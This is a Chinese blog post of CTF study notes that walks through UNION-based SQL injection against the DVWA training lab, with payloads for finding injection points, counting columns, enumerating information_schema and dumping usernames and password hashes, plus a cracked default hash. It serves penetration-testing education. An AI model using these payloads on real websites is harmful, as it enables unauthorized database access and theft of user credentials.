题记:

本来今天想把白天刷的攻防世界Web进阶的做个总结,结果估计服务器抽疯环境老报错,然后想了下今天用到了SQL注入,文件上传等等,写写心得。相信很多朋友都一直想学好渗透,然后看到各种入门视频,入门书籍,零基础XXX,从入门到放弃,收藏即学完,东一块西一块的,本人也一样,不过当做攻防世界的web题时,梳理知识总结心得的时候发现虽然之前学的零散,但现在不断融汇贯通各个知识点不断串起来,由点到线再到面的感觉,总之和大家一起探索,共同进步!!!

内心OS:卷死其他小伙伴!!!努力学习,就会有收获!!!

(一)SQL注入原理

  SQL注入,一般指web应用程序对用户输入数据的合法性没有校验或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,

在不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

  ****总之看到有搜索框就要留意是不是有注入点***

(二)SQL注入思路及步骤

  1.判断是否是注入点

  输入1' and 1=1#             发现没报错,正常输出

输入 1' and 1=2#  发现没正常输入内容说明此处是注入点

  2.使用判断表有多少字段(列)

数字型注入命令:1' order by [num]      num表示数字1,2,3.....一个一个网上加直到报错为止则列数为不报错最大的num

输入1' order by 3#时报错,所以有两列。

字符型注入命令:1'union select [1,2,3...num]  num表示数字1,2,3.....一个一个网上加直到不报错为止则列数为不报错的num

结果:报错

输入:1‘union select 1,2#  发现不报错。

综上可以得出列数为2,且记住它们的显示位置。  

   3.使用union联合查询其他信息,首先查看当前数据库,及用户。

  注入命令:1'union select database(),user()#

得到了数据库叫dvwa 用户名为root.接下来就准备爆库,查询看看数据库有说明表。

在mysql数据库版本大于V5.0的版本加入了information_schema的表方便查询。

注入命令:1'union select table_name,2 from information_schema.tables where table_schema=database()#

发现两个表guestbook,users,第一个是来访登记簿,第二个是用户表,显然我们需要的是用户表更有价值。

接下来,爆表,查询出表项/列(column)

注入命令:'union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'#

报出列名,其中最主要的是user,password

最后就是爆数据,显示用户名和密码。

注入命令:'union select user,password from users#

得到用户admin及密码哈希值:5f4dcc3b5aa765d61d8327deb882cf99 解密后就是password    DVWA的默认账号密码。

在线解码工具网址: https://www.cmd5.com/

======================================================================================

(三)总结

 mysql系统函数

user() :当前使用者的用户名
 
database():当前数据库名
 
version():数据库版本
 
datadir:读取数据库的绝对路径
 
@@vasedir:mysql安装路径
 
@@version_compile_os:操作系统
 
concat():连接一个或者多个字符串
 
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

Web渗透测试入门之SQL注入(上篇)的更多相关文章

  1. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  2. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  3. Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战

    Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...

  4. shellKali Linux Web 渗透测试— 初级教程(第三课)

    shellKali Linux Web 渗透测试— 初级教程(第三课) 文/玄魂 目录 shellKali Linux Web 渗透测试—初级教程(第三课) 课程目录 通过google hack寻找测 ...

  5. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  6. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  7. Web渗透测试漏洞手册及修复建议

    Web渗透测试漏洞手册及修复建议 0x0 配置管理 0x01 HTTP方法测试 漏洞介绍: 目标服务器启用了不安全的传输方法,如PUT.DELETE等,这些方法表示可能在服务器上使用了 WebDAV, ...

  8. 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细

        常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...

  9. Kali Linux Web渗透测试手册(第二版) - 1.1 - Firefox浏览器下安装一些常用的插件

    一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: l  在Windows和Linux上安装VirtualBox l  创建一个Kali Linux虚拟机 l  更新和升级Ka ...

随机推荐

  1. docker镜像制作及发布

    以centos为例. 主要内容:安装docker,制作镜像,发布镜像. 安装docker 1. 安装docker yum install -y docker 等待一会,安装成功,查看安装列表 2. 启 ...

  2. lua之自索引

    Father={ a=100, b=200 } function Father:dis() print(self.a,self.b) end Father.__index=Father Son= { ...

  3. (3)puppet清单定义资源的语法

    1.先看两个例子: a.创建一个文件 file{"/tmp/12567.txt": content => aaaaababbau, ensure => present ...

  4. (1)puppet安装

    简介: 基于C/S架构的Puppet更新方式一般有两种,一种是Agent端设置同步时间主动去PuppetMaster端拉取配置,另一种是通过PuppetMaster端使用puppet kick命令或者 ...

  5. Tomcat访问项目出现HTTP状态404-未找到,类型 状态报告 描述 源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示。Apache Tomcat/9.0.40

    错误提示如图,无任何消息提示,控制台也没有错误. 解决方法: IDEA,上方菜单栏点击Run–>Edit Configurations-,选择Deployment,将Application co ...

  6. MySQL语句SQL应用

    目录 一:sql语句 1.什么是SQL语句? 二:基本SQL语句之库操作 三:基本SQL语句之表操作 1.查看当前所在库名称 2.切换数据库 四:基本SQL语句之记录操作 五:创建表的完整语法 一:s ...

  7. Nginx搭建游戏

    目录 一:Nginx搭建<小游戏> 1.上传<象棋游戏>代码 2.编辑配置文件(尾部必须要加 .conf<文件>) 3.测试配置文件是否正常 4.重启Nginx 5 ...

  8. Nginx全面介绍 什么是Nginx?

    目录 一:Nginx全面讲解 1.简介: 2.nginx的用武之地 3.关于代理(解析含义作用) 二:正向代理 三:反向代理 四:项目应用场景 五:正向代理与反向代理区别 1.正向代理 2.反向代理 ...

  9. windows批处理详解

    转:https://mp.weixin.qq.com/s/Ktbl4P16Qye7OxDNEzJI5Q

  10. MySQL数据库索引介绍

    一.什么是索引 索引是mysql数据库中的一种数据结构,就是一种数据的组织方式,这种数据结构又称为key 表中的一行行数据按照索引规定的结构组织成了一种树型结构,该树叫B+树 二.为何要用索引 优化查 ...